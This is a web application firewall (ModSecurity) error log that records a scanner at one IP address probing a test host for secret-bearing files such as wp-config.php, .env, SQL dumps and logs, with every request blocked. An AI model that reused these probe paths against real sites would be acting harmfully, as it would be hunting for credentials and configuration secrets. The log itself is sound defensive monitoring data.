[Sun Mar 22 01:06:21.018382 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinQAAAAc&quot;]
[Sun Mar 22 01:06:21.018795 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinQAAAAc&quot;]
[Sun Mar 22 01:06:21.018943 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/debug.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinQAAAAc&quot;]
[Sun Mar 22 01:06:21.063288 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinwAAAAc&quot;]
[Sun Mar 22 01:06:21.063692 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinwAAAAc&quot;]
[Sun Mar 22 01:06:21.063831 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/dump.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVinwAAAAc&quot;]
[Sun Mar 22 01:06:21.108163 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVioQAAAAc&quot;]
[Sun Mar 22 01:06:21.108555 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVioQAAAAc&quot;]
[Sun Mar 22 01:06:21.108687 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVioQAAAAc&quot;]
[Sun Mar 22 01:06:21.175320 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVipAAAAAc&quot;]
[Sun Mar 22 01:06:21.175713 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVipAAAAAc&quot;]
[Sun Mar 22 01:06:21.175838 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/logs/error.log&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVipAAAAAc&quot;]
[Sun Mar 22 01:06:21.287123 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqQAAAAc&quot;]
[Sun Mar 22 01:06:21.287496 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqQAAAAc&quot;]
[Sun Mar 22 01:06:21.287621 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.conf&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqQAAAAc&quot;]
[Sun Mar 22 01:06:21.309331 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqgAAAAc&quot;]
[Sun Mar 22 01:06:21.309720 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqgAAAAc&quot;]
[Sun Mar 22 01:06:21.309837 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/site.sql&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqgAAAAc&quot;]
[Sun Mar 22 01:06:21.331803 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /core/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqwAAAAc&quot;]
[Sun Mar 22 01:06:21.331994 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqwAAAAc&quot;]
[Sun Mar 22 01:06:21.332114 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xViqwAAAAc&quot;]
[Sun Mar 22 01:06:21.353841 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirAAAAAc&quot;]
[Sun Mar 22 01:06:21.354069 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /core/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirAAAAAc&quot;]
[Sun Mar 22 01:06:21.354246 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirAAAAAc&quot;]
[Sun Mar 22 01:06:21.354393 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/wp-config.php.old&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirAAAAAc&quot;]
[Sun Mar 22 01:06:21.376274 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirQAAAAc&quot;]
[Sun Mar 22 01:06:21.376445 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirQAAAAc&quot;]
[Sun Mar 22 01:06:21.376565 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirQAAAAc&quot;]
[Sun Mar 22 01:06:21.398489 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;ab8yfb9QSbN48bnz2xVirgAAAAc&quot;]
